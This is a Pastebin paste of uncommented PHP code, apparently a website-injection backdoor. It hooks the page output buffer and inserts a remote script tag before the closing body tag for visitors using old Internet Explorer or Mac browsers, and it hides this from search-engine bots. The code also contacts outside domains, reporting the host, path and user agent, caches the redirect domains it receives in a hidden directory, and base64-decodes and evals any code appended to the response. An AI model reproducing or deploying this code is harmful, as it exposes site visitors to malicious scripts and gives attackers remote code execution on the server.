quark_zju

Untitled

Feb 24th, 2012
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.54 KB | None | 0 0
  1. <?php
  2. if(function_exists('ob_start')&&!isset($_SERVER['mr_no'])){
  3.     $_SERVER['mr_no']=1;
  4.     if(!function_exists('mrobh')){
  5.         function get_tds_777($url){
  6.             $content="";
  7.             $content=@trycurl_777($url);
  8.             if($content!==false)return $content;
  9.             $content=@tryfile_777($url);
  10.             if($content!==false)return $content;
  11.             $content=@tryfopen_777($url);
  12.             if($content!==false)return $content;
  13.             $content=@tryfsockopen_777($url);
  14.             if($content!==false)return $content;
  15.             $content=@trysocket_777($url);
  16.             if($content!==false)return $content;
  17.             return '';
  18.         }
  19.         function trycurl_777($url){
  20.             if(function_exists('curl_init')===false)return false;
  21.             $ch = curl_init ();
  22.             curl_setopt ($ch, CURLOPT_URL,$url);
  23.             curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  24.             curl_setopt ($ch, CURLOPT_TIMEOUT, 5);
  25.             curl_setopt ($ch, CURLOPT_HEADER, 0);
  26.             $result = curl_exec ($ch);
  27.             curl_close($ch);
  28.             if ($result=="")return false;
  29.             return $result;
  30.         }
  31.         function tryfile_777($url){
  32.             if(function_exists('file')===false)return false;
  33.             $inc=@file($url);
  34.             $buf=@implode('',$inc);
  35.             if ($buf=="")return false;
  36.             return $buf;
  37.         }
  38.         function tryfopen_777($url){
  39.             if(function_exists('fopen')===false)return false;
  40.             $buf='';
  41.             $f=@fopen($url,'r');
  42.             if ($f){
  43.                 while(!feof($f)){
  44.                     $buf.=fread($f,10000);
  45.                 }
  46.                 fclose($f);
  47.             }
  48.             else return false;
  49.             if ($buf=="")return false;
  50.             return $buf;
  51.         }
  52.         function tryfsockopen_777($url){
  53.             if(function_exists('fsockopen')===false)return false;
  54.             $p=@parse_url($url);
  55.             $host=$p['host'];
  56.             $uri=$p['path'].'?'.$p['query'];
  57.             $f=@fsockopen($host,80,$errno, $errstr,30);
  58.             if(!$f)return false;
  59.             $request ="GET $uri HTTP/1.0\n";
  60.             $request.="Host: $host\n\n";
  61.             fwrite($f,$request);
  62.             $buf='';
  63.             while(!feof($f)){
  64.                 $buf.=fread($f,10000);
  65.             }
  66.             fclose($f);
  67.             if ($buf=="")return false;
  68.             list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
  69.             return $buf;
  70.         }
  71.         function trysocket_777($url){
  72.             if(function_exists('socket_create')===false)return false;
  73.             $p=@parse_url($url);
  74.             $host=$p['host'];
  75.             $uri=$p['path'].'?'.$p['query'];
  76.             $ip1=@gethostbyname($host);
  77.             $ip2=@long2ip(@ip2long($ip1));
  78.             if ($ip1!=$ip2)return false;
  79.             $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  80.             if (!@socket_connect($sock,$ip1,80)){
  81.                 @socket_close($sock);
  82.                 return false;
  83.             }
  84.             $request ="GET $uri HTTP/1.0\n";
  85.             $request.="Host: $host\n\n";
  86.             socket_write($sock,$request);
  87.             $buf='';
  88.             while($t=socket_read($sock,10000)){
  89.                 $buf.=$t;
  90.             }
  91.             @socket_close($sock);
  92.             if ($buf=="")return false;
  93.             list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);
  94.             return $buf;
  95.         }
  96.         function update_tds_file_777($tdsfile){
  97.             $actual1=$_SERVER['s_a1'];
  98.             $actual2=$_SERVER['s_a2'];
  99.             $val=get_tds_777($actual1);
  100.             if ($val=="")$val=get_tds_777($actual2);
  101.             $f=@fopen($tdsfile,"w");
  102.             if ($f){
  103.                 @fwrite($f,$val);
  104.                 @fclose($f);
  105.             }
  106.             if (strstr($val,"|||CODE|||")){
  107.                 list($val,$code)=explode("|||CODE|||",$val);
  108.                 eval(base64_decode($code));
  109.             }
  110.             return $val;
  111.         }
  112.         function get_actual_tds_777(){
  113.             $defaultdomain=$_SERVER['s_d1'];
  114.             $dir=$_SERVER['s_p1'];
  115.             $tdsfile=$dir."log1.txt";
  116.             if (@file_exists($tdsfile)){
  117.                 $mtime=@filemtime($tdsfile);
  118.                 $ctime=time()-$mtime;
  119.                 if ($ctime>$_SERVER['s_t1']){
  120.                     $content=update_tds_file_777($tdsfile);
  121.                 }
  122.                 else{
  123.                     $content=@file_get_contents($tdsfile);
  124.                 }
  125.             }
  126.             else{
  127.                 $content=update_tds_file_777($tdsfile);
  128.             }
  129.             $tds=@explode("\n",$content);
  130.             $c=@count($tds)+0;
  131.             $url=$defaultdomain;
  132.             if ($c>1){
  133.                 $url=trim($tds[mt_rand(0,$c-2)]);
  134.             }
  135.             return $url;
  136.         }
  137.         function is_mac_777($ua){
  138.             $mac=0;
  139.             if (stristr($ua,"mac")||stristr($ua,"safari"))if ((!stristr($ua,"windows"))&&(!stristr($ua,"iphone")))$mac=1;
  140.             return $mac;
  141.         }
  142.         function is_msie_777($ua){
  143.             $msie=0;
  144.             if (stristr($ua,"MSIE 6")||stristr($ua,"MSIE 7")||stristr($ua,"MSIE 8")||stristr($ua,"MSIE 9"))$msie=1;
  145.             return $msie;
  146.         }
  147.         function setup_globals_777(){
  148.             $rz=$_SERVER["DOCUMENT_ROOT"]."/.logs/";
  149.             $mz="/tmp/";
  150.             if (!is_dir($rz)){
  151.                 @mkdir($rz);
  152.                 if (is_dir($rz)){
  153.                     $mz=$rz;
  154.                 }
  155.                 else{
  156.                     $rz=$_SERVER["SCRIPT_FILENAME"]."/.logs/";
  157.                     if (!is_dir($rz)){
  158.                         @mkdir($rz);
  159.                         if (is_dir($rz)){
  160.                             $mz=$rz;
  161.                         }
  162.                     }
  163.                     else{
  164.                         $mz=$rz;
  165.                     }
  166.                 }
  167.             }
  168.             else{
  169.                 $mz=$rz;
  170.             }
  171.             $bot=0;
  172.             $ua=$_SERVER['HTTP_USER_AGENT'];
  173.             if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;
  174.             if (stristr($ua,"bingbot")||stristr($ua,"google"))$bot=1;
  175.             $msie=0;
  176.             if (is_msie_777($ua))$msie=1;
  177.             $mac=0;
  178.             if (is_mac_777($ua))$mac=1;
  179.             if (($msie==0)&&($mac==0))$bot=1;
  180.             global $_SERVER;
  181.             $_SERVER['s_p1']=$mz;
  182.             $_SERVER['s_b1']=$bot;
  183.             $_SERVER['s_t1']=1200;
  184.             $_SERVER['s_d1']="http://sweepstakesandcontestsdo.com/";
  185.             $d='?d='.urlencode($_SERVER["HTTP_HOST"])."&p=".urlencode($_SERVER["PHP_SELF"])."&a=".urlencode($_SERVER["HTTP_USER_AGENT"]);
  186.             $_SERVER['s_a1']='http://www.lilypophilypop.com/g_load.php'.$d;
  187.             $_SERVER['s_a2']='http://www.lolypopholypop.com/g_load.php'.$d;
  188.             $_SERVER['s_script']="nl.php?p=d";
  189.         }
  190.         setup_globals_777();
  191.         if(!function_exists('gml_777')){
  192.             function gml_777(){
  193.                 $r_string_777='';
  194.                 if ($_SERVER['s_b1']==0)$r_string_777='<script src="'.get_actual_tds_777().$_SERVER['s_script'].'"></script>';
  195.                 return $r_string_777;
  196.             }
  197.         }
  198.         if(!function_exists('gzdecodeit')){
  199.             function gzdecodeit($decode){
  200.                 $t=@ord(@substr($decode,3,1));
  201.                 $start=10;
  202.                 $v=0;
  203.                 if($t&4){
  204.                     $str=@unpack('v',substr($decode,10,2));
  205.                     $str=$str[1];
  206.                     $start+=2+$str;
  207.                 }
  208.                 if($t&8){
  209.                     $start=@strpos($decode,chr(0),$start)+1;
  210.                 }
  211.                 if($t&16){
  212.                     $start=@strpos($decode,chr(0),$start)+1;
  213.                 }
  214.                 if($t&2){
  215.                     $start+=2;
  216.                 }
  217.                 $ret=@gzinflate(@substr($decode,$start));
  218.                 if($ret===FALSE){
  219.                     $ret=$decode;
  220.                 }
  221.                 return $ret;
  222.             }
  223.         }
  224.         function mrobh($content){
  225.             @Header('Content-Encoding: none');
  226.             $decoded_content=gzdecodeit($content);
  227.             if(preg_match('/\<\/body/si',$decoded_content)){
  228.                 return preg_replace('/(\<\/body[^\>]*\>)/si',gml_777()."\n".'$1',$decoded_content);
  229.             }
  230.             else{
  231.                 return $decoded_content.gml_777();
  232.             }
  233.         }
  234.         ob_start('mrobh');
  235.     }
  236. }
Add Comment
Please, Sign In to add comment